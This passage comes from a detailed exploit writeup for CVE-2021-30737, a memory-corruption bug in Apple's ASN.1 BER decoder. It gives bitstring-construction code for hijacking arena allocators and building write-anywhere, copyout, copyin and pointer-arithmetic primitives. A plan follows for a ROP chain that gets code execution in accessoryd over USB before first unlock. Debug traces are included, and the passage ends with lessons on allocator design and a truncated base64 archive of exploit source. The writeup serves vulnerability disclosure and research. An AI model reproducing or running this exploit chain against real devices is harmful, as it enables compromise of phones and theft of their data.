All Arenas have a default size of `SEC_ASN1_DEFAULT_ARENA_SIZE`=2048, with the exception of the first `their_pool` Arena, which is 1024. Our bitstring will ultimately exceed 2048, therefore we are guaranteed the arena code has already depleted whatever Arena was active when entering the bitstring. It means when the time comes to allocate a new `dest` it will happen inside a fresh `their_pool` Arena.

Let's try to forcibly deplete `our_pool` Arena, too. This process will not change the existing `dest`.

CONS_BITSTRING(len);

// len must be >= 2048, so that their_pool is already depleted.

// Now consume our_pool. We want to switch to a fresh Arena right

// after we generate a new 'dest'

for (unsigned k = 0; k < 8; k++) { CONS_BITSTRING(3);

START_BITSTRING(0, 0);

}

This process of creating empty objects has the net effect of consuming `our_pool` without taking up too much space in the input. Side‑note: the empty bitstrings above are harmless, because they are not followed by any other primitive substring component and therefore they will not trigger the bug. Yet. At this point we have the guarantee that both pools are depleted. Now we trigger the bug, overwriting the currently active state object:

// (continued)

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'a');

// leave the pointer dangling over 'place'

REP_BITSTRING(0, FILLER_LEN + 6 * 8, 'b');

// Change 'place', 'pending' and a bunch of other fields

CONS_BITSTRING(len); // extend this construct to the end

START_BITSTRING(0, 92);

PUSH4(5); // place: afterLength

PUSH4(0x20); // found_tag_modifiers: SEC_ASN1_CONSTRUCTED

PUSH8(0xdfULL); // check_tag_mask

PUSH8(3ULL); // found_tag_number

PUSH8(3ULL); // expect_tag_number

PUSH8(3ULL); // underlying_kind

PUSH8(0ULL); // contents_length: 0

PUSH8(1ULL + 92); // pending: +1

PUSH8(3ULL); // consumed

PUSH4(9); // depth

PUSH4(0); // bit_string_unused_bits

PUSH8(0ULL); // subitems_head

PUSH8(0ULL); // subitems_tail

PUSH3(1); // allocate: 1

PUSH1(1); // indefinite: 1

We make some select changes to the state object, while keeping unchanged the values we don't need. Let's highlight the changes made to the object:

place = afterLength

because we want to go straight to `sec_asn1d_prepare_for_contents`. But we must dodge `sec_asn1d_parse_leaf` tail switching to `beforeEndOfContents`, and so we also need:

pending = whatever it was before (92) + 1

Once we reach `sec_asn1d_prepare_for_contents`, we have:

allocate = TRUE

and therefore a new `dest` will be allocated in `their_pool`. Since that pool is already empty, we guarantee that the new `SecAsn1Item` will be the first thing in a new `their_pool` Arena. We will hit an assert because we are not supposed to be here unless `dest` was already NULL. We could set it to NULL with our bug, however, that means we would need to obliterate the `parent`, which raises further issues. While this is probably fixable, we won't be concerning ourselves with it, because the assert does not exist in Release binaries.

Later on, `contents_length` comes into play, and it works best for us if:

contents_length = 0

This allows us to clear the `pending` field and skip further allocations. Finally, having also set:

indefinite = TRUE

we dodge again `afterEndOfContents`. The last piece clicks in place with:

found_tag_modifiers = SEC_ASN1_CONSTRUCTED

which switches to `duringConstructedString` then pushes a new state. This new state gets allocated right at the beginning of `our_pool` Arena because we already depleted the old one. At this point, the pools look like this:

state‑>dest ‑‑‑‑‑‑‑‑‑+

v

T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data=NULL]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

O: [next=0x0] [base] [limit] [avail] [state]

And then we follow‑up with our old friend: trigger the bug again, without leaving the parent construct. Since `dest` is the first block sliced from `their_pool` Arena, shaving off its LSB will reroute `dest` to the Arena structure itself. This results in a type confusion: Arena `next` and `base` acting like a `SecAsn1Item` pointing to the old `dest`. We now trigger a write of eight zeroes followed by one 0x10 byte, effectively keeping the `dest‑>Length` to 0 and doing a partial overwrite over `dest‑>Data`, making the old `dest` point to `&Arena.limit`. Finally, having popped back the old `dest` we are now free to overwrite the Arena:

// (continued)

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'c');

// leave the pointer dangling over 'dest'

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'd'); // temporarily make 'dest' overlap with their_pool Arena, by shaving off the LSB

CONS_BITSTRING(3 + 1 + 3 + 9);

// relocate 'dest' ‑> PLArena

START_BITSTRING(0, 1); PUSH1(0); // LSB = 0

// 'dest' is pointing to previous self, shave off the LSB of Data

START_BITSTRING(0, 9); PUSH8(0ULL); // Length

PUSH1(0x10); // LSB = 0x10

// 'dest' is popped back, with dest‑>Data pointing to our_pool Arena.limit

START_BITSTRING(0, 16); PUSH8(0x4141414141414150); // limit

PUSH8(0x4141414141414140); // avail

If that looks confusing it's because it really is. Perhaps some pictures can clear it up.

After the break and the 'c' segment:

state‑>dest ‑‑‑‑‑‑‑‑‑+

v

T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]

After the 'd' segment, shave off `dest` LSB:

+‑‑‑‑‑‑‑‑‑‑‑‑‑ state‑>dest

v

T: [next=0x0] [base] [limit] [avail] [Length=0x0, Data]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]

Zero `dest‑>Length` and set `dest‑>Data` LSB = 0x10:

+‑‑‑‑‑‑‑‑‑‑‑‑‑ state‑>dest

v

T: [next=7*8] [base] [limit] [avail] [Length=0x0, Data]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

O: [next=0x0] [base] [limit] [avail] [state] [block(sz=1/8)] [block(8)]

After popping `dest`, smash `our_pool` Arena `limit/avail`:

state‑>dest ‑‑‑‑‑‑‑‑‑+

v

T: [next=7*8] [base] [limit] [avail] [Length=128, Data]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

O: [next=0x0] [base] [ END ] [BEGIN] [state] [block(sz=1/8)] [block(8)]

Woo‑hooo! We just hijacked the current `our_pool` Arena. Where to? Well, to our old friend, the scratch area. Once we are rocking the Arena at a known address inside the victim space, we can predict absolutely all subsequent allocations. Determining such a scratch address is again a matter of vmmap and observing where the writable allocations end up. Refer to the attached source code READMEs for more info.

NB: 0x4b4b4b4b4b4b4b.. in the examples below are all known addresses inside the scratch area and can be presumed known/constant.

‑‑ 4.2 ‑ He who controls the Arena

Hijacking the Arena in a predictable manner is a big win but it proves to be a much more complex process than it was before CVE‑2016‑1950 got fixed. Unlike the old way, where we could create new Arenas out of thin air at the snap of the fingers, this time we should keep a grip on the one we just got a hold of. For this reason we abandon our MAKE_ARENA/WRITE contraptions and switch to a different paradigm for achieving write‑anywhere.

Having the Arena in the scratch space means that we know where everything is laid out. We first generate whatever items we need right at the top of our newly built Arena and then use the bug repeatedly to route `dest` to them, in order to perform the writes. This is easy since we know the exact address of each item. Example:

START_BITSTRING(0, 0);

START_BITSTRING(0, 16);

// SecAsn1Item:

PUSH8(0ULL); // Length

PUSH8(0x4343434343434343); // Data: WHERE we are writing

// repeat the evil scheme

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'f');

// leave the pointer dangling over 'dest'

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f');

// reroute 'dest' and perform the write

CONS_BITSTRING(3 + 8 + 3 + 8);

// 'dest' ‑> &SecAsn1Item = { 0, destination }

START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b42); // &SecAsn1Item

// write

START_BITSTRING(0, 8); PUSH8(0x4646464646464646); // WHAT we are writing

Replace 0x4b4b4b4b4b4b4b42 with the exact address of the `SecAsn1Item`, as we know it in advance (it's right at the top of the scratch space), and the code above will perform:

*(uint64_t *)0x4343434343434343 = 0x4646464646464646;

At this point, our new bug is as capable as the old one: writing static values at known addresses. However, one thing that was kinda bothersome about the old exploit was that it was comprised of multiple steps and it was relying on some difficult to guess stack address. Can we do this one in a single step? Let's examine the richness of the decoding machinery and see what kind of primitives it has to offer.

‑‑ 4.2.0 ‑ Copyout

By copyout, we mean the ability to copy any value from the scratch space to any arbitrary address. `sec_asn1d_concat_substrings` can copy from subitems into a new `their_pool` allocation. The relevant code in secasn1d.c is:

where = item‑>Data;

substring = state‑>subitems_head;

while (substring != NULL) {

if (is_bit_string)

item_len = (substring‑>len + 7) >> 3;

else

item_len = substring‑>len;

PORT_Memcpy (where, substring‑>data, item_len); where += item_len;

substring = substring‑>next;

}

While we decided to never mess again with `our_pool` Arenas, that doesn't apply to `their_pool` Arenas. As long as we stay under the mega‑object used for the initial hijack, `their_pool` will never be used by the decoder. It means we can freely play with that pool and the easiest way to achieve this is to create a completely new pool and replace it:

// reserve a bunch of subitems, items, PORTArenaPool and objects

START_BITSTRING(0, 0);

START_BITSTRING(0, 24 + 24 + 8 * 8 + 7);

// subitem

PUSH8(0x4b4b4b4b4b4b4b41); // data: where we are copying out FROM

PUSH8(8ULL << 3); // len

PUSH8(0ULL); // next

// subitem

PUSH8(0x4545454545454545); // data: where we are copying in FROM

PUSH8(8ULL); // len

PUSH8(0ULL); // next

// PORTArenaPool

PUSH8(0); // PORTArenaPool.arena.first.next (NULL, but could be chained)

PUSH8(0ULL); // PORTArenaPool.arena.first.base

PUSH8(0x4141414141414170); // PORTArenaPool.arena.first.limit

PUSH8(0x4141414141414160); // PORTArenaPool.arena.first.avail (copyout DESTINATION)

PUSH8(0x4b4b4b4b4b4b4b48); // PORTArenaPool.arena.current = &PORTArenaPool.arena

PUSH8(256ULL); // PORTArenaPool.arena.arenasize

PUSH8(7ULL); // PORTArenaPool.arena.mask

PUSH8(0xB8AC9BDFULL); // PORTArenaPool.magic

// this serves as overlapping SecAsn1Item with 'top' below

PUSH7(8ULL << 3); // Length: 8

// state (promptly discarded)

CONS_BITSTRING(3);

START_BITSTRING(0, 0);

The scratch space will have the following layout:

real state object ‑‑>|

[subitem] [PORTArenaPool] [ 8 ] [top] [template] [dest] ...

|

|< fake item >|

The overlapping item is `{ 8, top }` and we can use our write primitive to replace `top‑>their_pool` with our own `PORTArenaPool`. Once we have that, all subsequent allocations in `their_pool` will be controlled by us. We can even chain multiple Arenas in `PORTArenaPool` and, if sized correctly, they will perform different controlled writes with little to no effort. First, we replace `their_pool`:

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'f');

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'f'); // leave the pointer dangling over 'dest'

CONS_BITSTRING(3 + 8 + 3 + 8); START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b42); // 'dest' ‑> &SecAsn1Item = { 8, state#1‑>top }

START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b48); // &PORTArenaPool

0x4b4b4b4b4b4b4b42 is the address of the fake SecAsn1Item, consisting of a +8 byte offset and `top` as base.

0x4b4b4b4b4b4b4b48 is our full PORTArenaPool replacement for `their_pool`, consisting of a new Arena: [0x4141414141414160 .. 0x4141414141414170]. It represents the copyout destination. This replacement step must be performed once, followed by the actual copyout:

// cause a state object allocation with known parent

CONS_BITSTRING(3 + FILLER_LEN + 112 + 38); START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'g');

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'g'); // leave the pointer dangling over 'dest'

// switch to 'afterConstructedString' and trigger a copyout from subitem via sec_asn1d_concat_substrings

CONS_BITSTRING(3 + 112);

START_BITSTRING(0, 112); PUSH8(0x4b4b4b4b4b4b4b4b); // dest: any { 0, NULL }

PUSH8(0ULL); // our_mark

PUSH8(0x4b4b4b4b4b4b4b4c); // parent: previous object

PUSH8(0ULL); // child

PUSH8(13ULL); // place: afterConstructedString

PUSH8(0xdfULL); // check_tag_mask

PUSH8(3ULL); // found_tag_number

PUSH8(3ULL); // expect_tag_number

PUSH8(3ULL); // underlying_kind

PUSH8(1ULL + 112); // contents_length

PUSH8(1ULL + 112); // pending: +1

PUSH8(3ULL); // consumed

PUSH4(11); // depth

PUSH4(0); // bit_string_unused_bits

PUSH8(0x4b4b4b4b4b4b4b4d); // subitems_head: &subitem

0x4b4b4b4b4b4b4b4b must point to a temporary empty `dest`. This is needed to dodge some assertions. Not quite mandatory, because the assertions are missing from the Release binaries, I'm just being pedantic.

0x4b4b4b4b4b4b4b4c must be the parent of the object we are manipulating. It is placed at a known address.

0x4b4b4b4b4b4b4b4d is the subitem (or head of a subitem chain) which points to the source data.

The net effect of the code above is: memcpy(0x4141414141414160, 0x4b4b4b4b4b4b4b41, 8);

If multiple copyouts are desired, we can chain the subitems and also chain the initial PORTArenaPool to other PLArena structures.

In contrast to the previous chapters' primitives, this allows us to copy whatever data into the destination, not merely scalar values. And we did it without overly complicated contraptions to pivot the input buffer. Looking back at the old code I cannot stop wondering what the fuck was I thinking back then. It is a total garbage.

‑‑ 4.2.1 ‑ Copyin

The copyin is a bit different. It represents the ability to copy data from any arbitrary address into local scratch space. This can be achieved with `sec_asn1d_prepare_for_contents`. We can't exactly tell where to copy to, but this is just a minor inconvenience, because said data is copied into a new `our_pool` allocation, which is inside the scratch space, hence we can calculate where it will end up:

if (item) {

item‑>Data = (unsigned char*)sec_asn1d_zalloc(poolp, alloc_len); }

len = 0;

for (subitem = state‑>subitems_head;

subitem != NULL; subitem = subitem‑>next) { PORT_Memcpy (item‑>Data + len, subitem‑>data, subitem‑>len); len += subitem‑>len;

}

item‑>Length = len;

Here's how to trigger it:

// cause a state object allocation with known parent

CONS_BITSTRING(3 + FILLER_LEN + 112 + 38); START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'i');

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'i'); // leave the pointer dangling over 'dest'

// switch back to 'afterLength' and trigger a copyin from subitem via sec_asn1d_prepare_for_contents

CONS_BITSTRING(3 + 112);

START_BITSTRING(0, 112); PUSH8(0x4b4b4b4b4b4b4b4f); // dest: any { 0, NULL }

PUSH8(0ULL); // our_mark

PUSH8(0x4b4b4b4b4b4b4b50); // parent: previous object

PUSH8(0ULL); // child

PUSH8(5ULL); // place: afterLength

PUSH8(0xdfULL); // check_tag_mask

PUSH8(3ULL); // found_tag_number

PUSH8(3ULL); // expect_tag_number

PUSH8(0x400ULL); // underlying_kind: SEC_ASN1_ANY

PUSH8(0ULL); // contents_length: 0

PUSH8(1ULL + 112); // pending: +1

PUSH8(3ULL); // consumed

PUSH4(11); // depth

PUSH4(0); // bit_string_unused_bits

PUSH8(0x4b4b4b4b4b4b4b47); // subitems_head: &subitem

0x4b4b4b4b4b4b4b4f must point to a temporary empty `dest`. This is needed to make sure the copyin is done at the next available `our_pool` address, which can be calculated and therefore it is considered known.

0x4b4b4b4b4b4b4b50 must be the parent of the object we are manipulating. It is placed at a known address.

0x4b4b4b4b4b4b4b47 is the subitem (or head of a subitem chain) which points to the address to read from. The data will be placed at the next available address in the scratch space.

The net effect of the code above is: memcpy(next_alloc(our_pool), 0x4545454545454545, 8);

And since `our_pool` is pinned to the scratch space, we can calculate where the destination will be.

‑‑ 4.2.2 ‑ Arithmetic

Arithmetic represents the ability to do some sort of addition/subtraction. Since we want to avoid a multi‑step exploit and perform everything in one go, we need to work out some shared cache addresses. For example, if we'd want to find the address of `vm_remap` function, we can simply execute the following equivalent operation:

vm_remap = &kSecAsn1BitStringTemplate + addend;

The addend above is constant for a given shared cache and can be calculated beforehand. The addition itself is done in `sec_asn1d_next_substring`. In case it is not obvious, the relevant code is this:

state‑>consumed += child_consumed;

The operation is done by using two discarded state objects. First make sure `child‑>consumed` holds the addend (this is a matter of a simple write) and then use a copyout to set `state‑>consumed` to `kSecAsn1BitStringTemplate`. After the operation, `state‑>consumed` holds the result of the addition.

START_BITSTRING(0, 16);

// SecAsn1Item

PUSH8(0ULL); // Length

PUSH8(0x4b4b4b4b4b4b4b41); // Data: &state#1‑>our_mark

// state#1 (promptly discarded)

CONS_BITSTRING(3 + 2); // Vader

// state#2 (promptly discarded)

CONS_BITSTRING(3); // Zon

START_BITSTRING(0, 0);

// Use SecAsn1Item to prepare state#1 and state#2.

START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'e');

REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'e'); // leave the pointer dangling over 'dest'

CONS_BITSTRING(3 + 8 + 4 + 232);

START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b49); // 'dest' ‑> &SecAsn1Item = { 0, &state#1‑>our_mark }

START_BITSTRING(0, 232);

PUSH8(‑1ULL); // our_mark: ‑1

PUSH8(0x4b4b4b4b4b4b4b4a); // parent: where we want to resume

PUSH8(0x4b4b4b4b4b4b4b4b); // child: &state#2

PUSH8(8ULL); // place: duringConstructedString

PUSH8(0xdfULL); // check_tag_mask

PUSH8(3ULL); // found_tag_number

PUSH8(3ULL); // expect_tag_number

PUSH8(3ULL); // underlying_kind

PUSH8(1ULL); // contents_length

PUSH8(0x4242424242424242); // pending: ADDEND

PUSH8(0ULL); // consumed: POINTER

PUSH8(0x4b4b4b4b4b4b4b51); // depth...: serve as arg = &string

PUSHR(0x80, 0); // (bleed over into state#2)

PUSH8(0x4242424242424242); // consumed: ADDEND

// Insert here copyout of any state‑>theTemplate to &state#1‑>consumed,

// where the POINTER is expected to be.

...

// And here follows the addition per se:

// cause a state object allocation with known parent

CONS_BITSTRING(3 + FILLER_LEN + 8 + 51); START_BITSTRING(0, 0);

CONS_BITSTRING(3 + 5);

REP_BITSTRING(0, 5, 'h');

REP_BITSTRING(0, FILLER_LEN + 4 * 8, 'h'); // leave the pointer dangling over 'parent'

// switch to 'duringConstructedString' and trigger addition via sec_asn1d_next_substring

CONS_BITSTRING(3 + 8);

START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b4e); // parent: state#1

We can chain multiple state#1/state#2 pairs to perform multiple additions in one go, with one addend for each pair. The last object used for addition must have its parent pointing back to the object we left off.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑

| discarded obj |‑‑>| discarded obj | | | state#1[n] = parent | | state#2[n] = child | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑

| ^

| +‑ addition#n ‑+ |

~

|

v

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑

| discarded obj |‑‑>| discarded obj | | | state#1[1] = parent | | state#2[1] = child | |

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑

| | ^

| | +‑ addition#1 ‑+ |

v v

+‑‑‑‑‑‑‑‑‑‑‑‑‑+

| parent |‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| ^ v |

| | +‑‑‑‑‑‑‑‑‑‑‑‑+

| +‑‑X‑‑|YOU ARE HERE|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| +‑‑‑‑‑‑‑‑‑‑‑‑+

v

Here we see state 0x102b627f0 transitioning to 102b62198 which performs the addition, and then transitioning back to 0x102b626c8 and resuming execution normally:

sec_asn1d_parse_leaf: memcpy(0x102b62758 + 5 = 0x102b6275d, "6868686868686868", 179) sec_asn1d_parse_leaf: pre‑existing value = 0x867b806a20000000 STATE transition 0x102b626c8 ‑> 0x7f867b80b620

STATE transition 0x7f867b80b620 ‑> 0x102b626c8 sec_asn1d_push_state:430: zalloc(144) ‑> 0x102b627f0 in arena o_pool/0x0 (left ‑1) STATE transition 0x102b626c8 ‑> 0x102b627f0 sec_asn1d_parse_leaf: len=2401, @1953 sec_asn1d_parse_leaf: item = BIT_STRING, item‑>len = 1472, len = 8 state = 0x102b627f0

top = 0x7f867b806a20

theTemplate = 0x102b7b2e0

dest = 0x7f867b809620

our_mark = 0x0

parent = 0x102b626c8

contents_length = 9

pending = 8

consumed = 3

depth = 12

allocate = 0

indefinite = 0

sec_asn1d_parse_leaf: memcpy(0x102b62758 + 184 = 0x102b62810, "102b62198", 8) sec_asn1d_parse_leaf: pre‑existing value = 0x102b626c8 STATE transition 0x102b627f0 ‑> 0x102b62198

STATE transition 0x102b62198 ‑> 0x102b626c8

STATE transition 0x102b626c8 ‑> 0x7f867b80b620

STATE transition 0x7f867b80b620 ‑> 0x7f867b809328

STATE transition 0x7f867b809328 ‑> 0x7f867b80b620

STATE transition 0x7f867b80b620 ‑> 0x7f867b809328

STATE transition 0x7f867b809328 ‑> 0x7f867b80b620

‑‑ 4.3 ‑ Assembling the pieces

The last missing bit is achieving code execution. This can be done the same way we did in the old exploit, using `top‑>filter_proc(top‑>filter_arg)`. Bypassing PAC is considered a security bug in its own right, this writeup is meant to illustrate strictly the ASN.1 bugs. As a consequence, defeating other mitigations than ASLR is left as an exercise to the reader.

Now that we have all pieces, we are ready to build the exploit, using the following strategy:

‑ use a number of copyouts to place a small number of template pointers in the expected object pairs, prepared for addition;

‑ perform a series of pointer arithmetic to compute the respective number of gadgets;

‑ use a chained copyin to assemble certain data fragments interleaved with the aforementioned gadgets, effectively building a bootstrap ROP strip; ‑ copyout a JOP gadget over `top‑>filter_proc` and the address of said ROP strip over `top‑>filter_arg`, which will pivot the stack;

‑ the bootstrap ROP strip does the following:

‑ vm_remap the shared cache at a fixed address;

‑ jump to stage2 relocator, which relocates the rest of stage2, using only gadgets from the remapped cache;

‑ enter late stage2 which has full ROP functionality.

Of course, this is but one way of doing it. Please keep in mind that our primitives are quite expensive in terms of bitstring space, and therefore we aim to complete the chain with minimal effort.

Finally, we "relocate" the PKCS#7 for whichever address we believe it would be a viable scratch space. Relocating means translating all those addresses we know about: 0x4b4b4b4b4b4b4b... The result will be sent over USB as an IAP2 authentication packet to accessoryd, using whatever MFi tool. Note: we do not need a real IAP certificate, because the exploit kicks in before the certificate is even validated and it does everything in one go.

If we miss, accessoryd will likely crash and we may need to restore the USB connection. Then we can build another PKCS#7 (for another address) or just keep retrying the old one. Eventually, one of them is bound to hit a usable scratch address and succeed. Note: these daemons listening over USB are not throttled. Also, it makes no difference if the shared cache is reslid upon daemon restart, since we have the ability to recalculate the gadgets during each retry.

The only thing that matters is to reach a writable scratch area we can use. It does not matter what this area contains, and it does not have to be at a specific address. It just has to be. Everything is computed during decoding with the aid of the hijacked ASN.1 machinery, provided it has a little bit of manoeuvring space.

‑‑ 5 ‑ Conclusions

This article has begun in Spring 2021, its main purpose was to detail the CVE‑2016‑1950 exploit. But as I was writing, trying hard to remember five years old details, I realised the exploit used two bugs: one that was fixed and the other one (which I completely forgot about) that was still there. I knew it was somehow exploitable on its own, so I reported it to Apple, on 16 April 2021. It was fixed in iOS 14.6 beta 3 (18F5065a) dated 10 May 2021 and it would later become CVE‑2021‑30737[7] of iOS 14.6 (18F72) release. It was also backported to iOS 12.5.4 for end‑of‑life devices.

An interesting side‑note: to my knowledge, Apple started to use Mozilla NSS ASN.1 parser in MacOSX Panther, 2003: SecurityNssAsn1‑11.tar.gz. And while CVE‑2016‑1950 was inherited from the original codebase, CVE‑2021‑30737 was never in Mozilla code; it seems to be an Apple‑only addition. I do not know what was the purpose of the change, perhaps they wanted to take a shortcut for empty bitstrings for speed reasons, I guess we will never know.

Here ends our journey into the ASN.1 parser vulnerabilities. CVE‑2016‑1950 has been fixed in iOS 9.3 and CVE‑2021‑30737 was fixed in iOS 14.6, five years later. Both bugs affected virtually all Apple products: iPhone, iPad, Macs, etc. While the two bugs are completely unrelated, it may be that the former can be turned into an exploit without the latter. I never tried to do it that way. What we know now is the old bug greatly helped the newer one ‑‑ but as we can see, CVE‑2021‑30737 was powerful enough to carry the weight of a full exploit on its own.

These bugs are interesting because they can be used to mount a full attack against daemons listening on the phone Before First Unlock over USB. This means pretty much game over for 32bit devices, since those do not have SEP. On 64bit devices, however, the exploit can be used as a starting point for further exploration.

Another interesting aspect is that a sizeable part of these exploits, that is, everything we accomplish with the bitstring is architecture agnostic, only the bitness matters. For example, the resulting bitstrings can be tested on x86_64 and then used on arm64. Ditto for i386 vs armv7.

Last, but not least, there are some lessons to be learned. First of all, you should never use an Arena allocator in security sensitive contexts. Yes, Arenas are fast, easy to implement from a programmer point of view and they seem appealing. They can also get you pwned, because the memory blocks are laid out in a predictable fashion. Actually, to be more blunt, stay the fuck away from any kind of allocator with inline meta‑data.

Second, BER is a hairy beast. BER parsers tend to become extremely complex and complexity is the enemy of security. If you must handle ASN.1, use DER whenever possible. There are examples of alloc‑less DER parsers which do a pretty good job and seem very secure when used properly, such as libDER.

Third, never ever mess with complex state machines that you do not fully understand. All the assertions were useless, with one notable exception (which may or may not be possible to dodge) so even if they were left in the Release binaries, it didn't matter greatly. State machines are hard! Human brains are great for many things, but state machines is definitely not one of those.

‑‑ 6 ‑ References

[0] https://support.apple.com/en‑us/HT206166

[1] https://en.wikipedia.org/wiki/ASN.1

[2] https://opensource.apple.com/release/os‑x‑10114.html

[3] https://en.wikipedia.org/wiki/Region‑based_memory_management

[4] https://tools.ietf.org/html/rfc3369

[5] https://www.cvedetails.com/cve/CVE‑2016‑4656/

[6] https://www.cvedetails.com/cve/CVE‑2016‑4655/

[7] https://support.apple.com/en‑us/HT212528

‑‑ 7 ‑ Source code

The source code was designed to work on iPhones, but it happens to work on macOS, too. Make sure you respect the bitness and use the correct libraries for each of the included examples: Security‑57337.20.44 for the first bug and Security‑59754.80.3 for the second one.

begin‑base64 644 bitstring.tar.xz /Td6WFoAAATm1rRGAgAhARwAAAAQz1jM6NHp7/5dADEaSvAGKpeIE24StL9ENe2O6dTZgKRAW41D W87F6QV46j4iSxv6QtmHXKxDLxH9UAXv82aiao34Otqlb50NFFigMy6/t2ybrW7mWnUY33R7N9nv m1RHBmYOZk/jDicKk0LK7sU7Gf8DD1Le30EuNUPeAHS4IttsPOm6uFFuFKFWHWL7cSiQEUtVLDhJ EWV/nZzn2t7GiupbdFhLQgUBBymcnjmwTt3C9OY/OnI/7hpQnw7KLxjbEfaPTRrMfIL3s4VA+2dK /DPQDI/4Fr7cxGLiH65IVxk9rt6iUXuzAwaEh/olUz+9KAyCcKYjUGvYnQYfUcYBN+oUzgI46Rem kZyj1kbAU6QbTaU84LcRyiRKaZlrQdz+ODEErfeExNG2cTUvMgy/r8S0z1joazcYVUPKFwipZ9ZG ROlTO5TIkQ/szOQsAkscli5CGEmqO7YiOGVp21JIjAmVQdz3ku/08WEG9rriY18Ex3MLr7oMyKdz R/fJa4yS88Juz6Hmh6OL2+jTt4tlZ03M7XxDWMtPmkKjhT+8exWPyuFeAAz04RpbgBknLW6Q9hxf xiW9GuYaK9TsWBxvU7CD5GVkDBEftSOi6lttY3xgkF8IqspDye5bik9WeNUO4SpsiaWiGlShuEEX aI5rScHVHS2bKWUxy4X6k2OHp41DLWurGZYLng7/yRf6/JfVh/NW5XA9kceWt8K4fhbgWU8pE38C 8UupuvUPL6DALjoa4NRuu2I82nTEi6LYr9FvRJy6VdWEI2042cyc0N1fywhGEk8aFLV5EP7cJ9T7 RdISBIMlCR64U4++U+TsOU6/uHYs6KAhbaap+yYhjmalF4Mb+HhopCW1jQUmCiojTey1CMlKusSA vNBL70KoUU6U22Lx/rzVuiNlKi5ixmIsEmRd/QLCdd9BfoXxvc88yzbUHoaoZwpico0GVXUwyn2J af12N0zg8DBD22YJ/H1fxRDgkFo7AlKeYBdwEQzflMfQSA1rx4r9gwyWdYPUwkPtCTULI3dHgrMw leeD+v1ZslIQBqjy5/hU5A2g1GYexLuii5BnydQlTuXM4vN5ukPbYWiloNSOUuikAwW8x5Q9HYQY VZeoBfSaYirbrTJk3MkHscRmLtF0fLbJD2LbR+d6vSK/AubbT0HEzP6dNoVWNCodhFWQ2akqsz4a b728oKYzWLPTFNtgjbnBj4z/BWXIN0BdDh0vE7oyaDFpPJW5AZmdrJiYKX3oW9GorQPGScv6WmoS EdLqHh7Mjt7tHIVw9B8YrEjuUMY2wdmoygRQp0CBrUMziQt3tOp+r6sSPYYeqSZYM7BVb9gIE0mi y+JIVLmrIRjQlxdH63roGwyGR8wIsyFhtIj54FFwsXQs/GaiPBIFbU4+67Do8JM35sTqaKqfXwX2 hOMeuK7EA8qLfjY9qTyy7o0cO8TxQis6S8CqHmuSGvJTsCc+Ag8A2mUyGtsVQRG2vHMsUCEefHJa Qj6t0bs1KEslIv6zAoJ5CFyTVjFVJt1nixt0vDEp/J58eAcvzZ9UZQQXynkrsY4H9OzeXzl1c90t wYDpSs9Ls3Q89dAph1PLhQxKsAn849GrCzmJFJhiOEEW8pB2CfbCrtbo76vtjMF134JxyEfDmsNy 1XLvZdk5OveE/mAbBLKR4v4cONu0CjcOvgLN4Gza6dDrTcP/b6C9avd75Ze9dtab+YQirvQelpIE 1IF1PAOy1cQVHJhgrMfmRlLu1D1L1fo0UuDZcuzPN6FcUTGJueCoj3aojvUmZzjdqoOZymvobIDG PkV2VJHtyK4j1HP3lNv9+ajtgqKUGoFAWYhtpJt7zCWG+qPBh+sen+Xaerv2OeLGutq2jr9RCRzg XDZ2UZpitW0HqOssMwSdMpMOB0ot0oCpxuXNPn/Knb2Kd7Jl+pAIuqWM8pUNdABrO2g06ZEyO3lF VrLPQbD4oY/MCWcBsqeBF4eM5c4amN0Qim3y0HpohLOhQMII6diEMZZIDIBMU1aP5Vmz1NPKDF0Y mcjHGQB0xhPrHkkknSLOqF2PQ2ZUh4mBVphXVOaowPIjpUoJUwKxJx5S9PlK5K6VDrs3nr5kxTsb 